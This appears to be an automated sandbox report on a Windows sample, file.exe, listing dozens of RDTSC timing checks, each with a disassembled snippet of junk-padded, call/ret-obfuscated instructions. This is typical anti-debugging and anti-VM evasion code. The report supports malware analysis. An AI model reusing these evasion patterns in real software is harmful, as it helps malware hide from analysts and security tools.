Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CED5F second address: 7CED63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CED63 second address: 7CED69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CED69 second address: 7CED7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F654C734E56h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CED7C second address: 7CEDE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 call 00007F654CE0FA13h 0x0000000c mov edi, dword ptr [ebp+122D3993h] 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 mov dword ptr [ebp+122D1E5Ch], ebx 0x0000001c popad 0x0000001d mov dword ptr [ebp+1245B304h], esi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F654CE0FA08h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov di, CD20h 0x00000043 mov bh, AEh 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F654CE0FA0Ah 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE07 second address: 7CFE11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE11 second address: 7CFE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CDF61 second address: 7CDF74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E5Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFE15 second address: 7CFE86 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F654CE0FA0Eh 0x0000000e push esi 0x0000000f jnl 00007F654CE0FA06h 0x00000015 pop esi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F654CE0FA08h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 cmc 0x00000032 push 00000000h 0x00000034 mov bx, si 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ecx 0x0000003c call 00007F654CE0FA08h 0x00000041 pop ecx 0x00000042 mov dword ptr [esp+04h], ecx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc ecx 0x0000004f push ecx 0x00000050 ret 0x00000051 pop ecx 0x00000052 ret 0x00000053 jmp 00007F654CE0FA0Bh 0x00000058 push eax 0x00000059 push esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jo 00007F654CE0FA06h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D3E87 second address: 7D3E9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D4418 second address: 7D441C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D441C second address: 7D44C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 je 00007F654C734E65h 0x0000000e jmp 00007F654C734E5Fh 0x00000013 nop 0x00000014 jmp 00007F654C734E69h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F654C734E58h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov edi, 6E7BBD66h 0x0000003a mov di, dx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F654C734E58h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Ch 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 xor dword ptr [ebp+1245ED81h], eax 0x0000005f xchg eax, esi 0x00000060 jmp 00007F654C734E5Ch 0x00000065 push eax 0x00000066 pushad 0x00000067 jno 00007F654C734E58h 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D53B8 second address: 7D53BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D8456 second address: 7D847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E63h 0x00000009 popad 0x0000000a jnc 00007F654C734E58h 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E0185 second address: 7E01B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F654CE0FA16h 0x0000000f jmp 00007F654CE0FA0Eh 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E01B6 second address: 7E01BD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C057 second address: 77C05D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C05D second address: 77C06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jp 00007F654C734E56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF721 second address: 7DF73D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DF90D second address: 7DF919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E783D second address: 7E787A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F654CE0FA12h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F654CE0FA15h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007F654CE0FA06h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E787A second address: 7E7880 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7880 second address: 7E78A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F654CE0FA16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBCE5 second address: 7EBCE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBFA1 second address: 7EBFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBFA7 second address: 7EBFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jp 00007F654C734E56h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBFB6 second address: 7EBFBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EBFBD second address: 7EBFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC150 second address: 7EC155 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC155 second address: 7EC15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC3A0 second address: 7EC3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC3A4 second address: 7EC3E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 jne 00007F654C734E56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F654C734E6Ch 0x00000018 jnp 00007F654C734E5Ch 0x0000001e jns 00007F654C734E56h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC3E3 second address: 7EC3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C01AF second address: 7C01B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C06B6 second address: 7C06C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C06C3 second address: 7C06C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C06C7 second address: 7C06D1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C06D1 second address: 7C06D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C06D7 second address: 7C06DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C074B second address: 7C0787 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], esi 0x0000000e mov dword ptr [ebp+12474E51h], eax 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jmp 00007F654C734E67h 0x0000001c jmp 00007F654C734E5Ah 0x00000021 popad 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C095C second address: 7C0966 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0966 second address: 7C096B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C096B second address: 7C0971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0D98 second address: 7C0D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0D9E second address: 7C0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F654CE0FA14h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F654CE0FA08h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 mov di, cx 0x0000002b pushad 0x0000002c cld 0x0000002d mov dword ptr [ebp+122D2465h], ecx 0x00000033 popad 0x00000034 push 0000001Eh 0x00000036 call 00007F654CE0FA0Ah 0x0000003b mov edi, dword ptr [ebp+122D1D62h] 0x00000041 pop ecx 0x00000042 nop 0x00000043 push eax 0x00000044 push edx 0x00000045 jbe 00007F654CE0FA08h 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E0A second address: 7C0E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F654C734E62h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0E3C second address: 7C0E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1215 second address: 7C1219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1219 second address: 7C1297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F654CE0FA0Fh 0x0000000f jmp 00007F654CE0FA18h 0x00000014 pop edx 0x00000015 lea eax, dword ptr [ebp+12484DC8h] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F654CE0FA08h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 cld 0x00000036 nop 0x00000037 pushad 0x00000038 jmp 00007F654CE0FA0Eh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F654CE0FA16h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C1297 second address: 79D226 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007F654C734E5Eh 0x0000000e push edi 0x0000000f js 00007F654C734E56h 0x00000015 pop edi 0x00000016 nop 0x00000017 mov edi, dword ptr [ebp+1245FAA2h] 0x0000001d call dword ptr [ebp+12447D76h] 0x00000023 pushad 0x00000024 jnl 00007F654C734E5Ah 0x0000002a push edi 0x0000002b push edi 0x0000002c pop edi 0x0000002d ja 00007F654C734E56h 0x00000033 pop edi 0x00000034 push ecx 0x00000035 jns 00007F654C734E56h 0x0000003b pop ecx 0x0000003c popad 0x0000003d push edi 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781025 second address: 781029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781029 second address: 78102F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F030A second address: 7F0328 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jno 00007F654CE0FA0Ah 0x0000000e jne 00007F654CE0FA08h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F50BD second address: 7F50C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F50C3 second address: 7F50D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnl 00007F654CE0FA06h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F50D4 second address: 7F50F2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F654C734E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F654C734E5Dh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4DA0 second address: 7F4DCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Eh 0x00000007 js 00007F654CE0FA06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ja 00007F654CE0FA14h 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007F654CE0FA0Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5A77 second address: 7F5A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5A7D second address: 7F5A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5A87 second address: 7F5AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F654C734E65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5BFD second address: 7F5C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F654CE0FA06h 0x0000000a popad 0x0000000b push ebx 0x0000000c jng 00007F654CE0FA06h 0x00000012 jmp 00007F654CE0FA11h 0x00000017 pop ebx 0x00000018 jg 00007F654CE0FA16h 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5C2C second address: 7F5C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5DF9 second address: 7F5DFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F605F second address: 7F607F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Ch 0x00000009 je 00007F654C734E56h 0x0000000f popad 0x00000010 pushad 0x00000011 ja 00007F654C734E56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F607F second address: 7F6085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBE34 second address: 7FBE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jnp 00007F654C734E56h 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FBE45 second address: 7FBE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC142 second address: 7FC164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F654C734E5Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC164 second address: 7FC181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F654CE0FA06h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC58F second address: 7FC595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC595 second address: 7FC59C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC59C second address: 7FC5A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC5A2 second address: 7FC5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC5A8 second address: 7FC5AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC858 second address: 7FC862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FC862 second address: 7FC870 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCAD5 second address: 7FCAD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCAD9 second address: 7FCAE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FCAE3 second address: 7FCAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB888 second address: 7FB891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803350 second address: 80337A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F654CE0FA19h 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F654CE0FA06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80337A second address: 80337E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807D03 second address: 807D22 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F654CE0FA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F654CE0FA0Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jnp 00007F654CE0FA06h 0x00000017 rdtsc
